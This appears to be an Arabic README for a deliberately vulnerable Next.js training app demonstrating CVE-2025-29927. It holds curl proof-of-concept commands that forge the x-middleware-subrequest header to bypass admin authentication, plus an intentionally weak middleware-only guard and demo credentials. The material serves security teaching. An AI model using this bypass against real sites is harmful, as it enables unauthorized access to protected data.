
عرض تعليمي لـ CVE-2025-29927، وهو تجاوز خطير لمصادقة الوسيطة في Next.js. يتضمن لوحة تحكم ضعيفة، وأوامر إثبات المفهوم للاستغلال، وإرشادات التخفيف للتدريب على الأمن السيبراني.
تحذير: هذا التطبيق ضعيف بشكل متعمد. للأغراض التعليمية وأبحاث الأمن المصرح بها فقط. لا تقم بنشره على خادم عام.
يُظهر هذا التطبيق CVE-2025-29927، وهي ثغرة خطيرة لتجاوز المصادقة في برمجية Next.js الوسيطة (CVSS 9.1). يحاكي التطبيق لوحة إدارة مؤسسية واقعية للشركة الخيالية "Himalaya Tech Pvt. Ltd." مما يجعل تأثير التجاوز مقنعاً بصرياً.
جميع سجلات الموظفين ومفاتيح API وبيانات اعتماد قاعدة البيانات والبيانات "الحساسة" الأخرى المعروضة هي خيالية ومحاكاة بالكامل — تم إنشاؤها لأغراض العرض التوضيحي التعليمي فقط.
| الحقل | التفاصيل |
|---|---|
| CVE ID | CVE-2025-29927 |
| الشدة | حرجة (CVSS 9.1) |
| المتأثر | Next.js ≤ 14.2.29, Next.js ≤ 15.2.2 |
| تم الإصلاح في | Next.js 14.2.30, 15.2.3 |
| النوع | تجاوز المصادقة في الوسيطة عبر التلاعب برأس HTTP |
تستخدم Next.js رأس HTTP داخلي x-middleware-subrequest لتتبع استدعاءات الوسيطة المتكررة ومنع الحلقات اللانهائية. في الإصدارات الضعيفة، يمكن للمهاجم تزوير هذا الرأس في طلب خارجي. عندما يكون الرأس موجوداً ويتطابق مع معرف الوسيطة، فإن بيئة تشغيل Next.js تتخطى الوسيطة بالكامل، بما في ذلك كل منطق المصادقة المحدد داخلها.
أي تطبيق يعتمد فقط على middleware.ts لحماية المسارات (وهو نمط شائع وموصى به في Next.js) يكون عرضة للخطر. يمكن للمهاجم غير المصادق الوصول إلى أي صفحة محمية بمجرد إضافة رأس HTTP واحد.
curl -v http://localhost:3000/admin
# → 307 Redirect to /login
curl -v \
-H "x-middleware-subrequest: middleware" \
http://localhost:3000/admin
# → 200 OK — full admin dashboard HTML returned, no authentication required
# Admin users page
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin/users
# System settings with "production credentials"
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin/settings
أضف رأس الطلب x-middleware-subrequest: middleware إلى أي طلب إلى /admin/* وسيتم تخطي فحص الوسيطة.
middleware.ts هو آلية الحماية الوحيدة:
// middleware.ts
export function middleware(request: NextRequest) {
if (pathname.startsWith("/admin")) {
const token = request.cookies.get("auth-token")?.value;
if (!token || token !== "valid-session-xyz123") {
return NextResponse.redirect(loginUrl); // ← this entire function is skipped
}
}
return NextResponse.next();
}
مكونات الصفحة نفسها (مثل app/admin/page.tsx) لا تحتوي على فحوصات مصادقة — عن قصد، لتعكس التطبيقات الواقعية التي تتبع نمط الحماية بالوسيطة فقط.
npm install
npm run dev
سيكون التطبيق متاحاً على http://localhost:3000.
*محمية بالوسيطة فقط — يتم تجاوزها بواسطة CVE-2025-29927.
[email protected]Admin@2024يتم توفير هذا التطبيق للأغراض التعليمية فقط، وبالتحديد لعرض التأثير الواقعي لـ CVE-2025-29927 في سياق دورة أمن أخلاقي. جميع البيانات (سجلات الموظفين، مفاتيح API، بيانات الاعتماد) هي خيالية بالكامل. لا تستخدم هذا التطبيق التوضيحي أو التقنيات الموضحة هنا ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.
| المسار | مصادقة مطلوبة | الوصف |
|---|
/ | لا | صفحة هبوط عامة |
/login | لا | نموذج تسجيل الدخول |
/admin | نعم* | لوحة إدارة مع بيانات حساسة |
/admin/users | نعم* | إدارة المستخدمين |
/admin/settings | نعم* | إعدادات النظام وبيانات الاعتماد |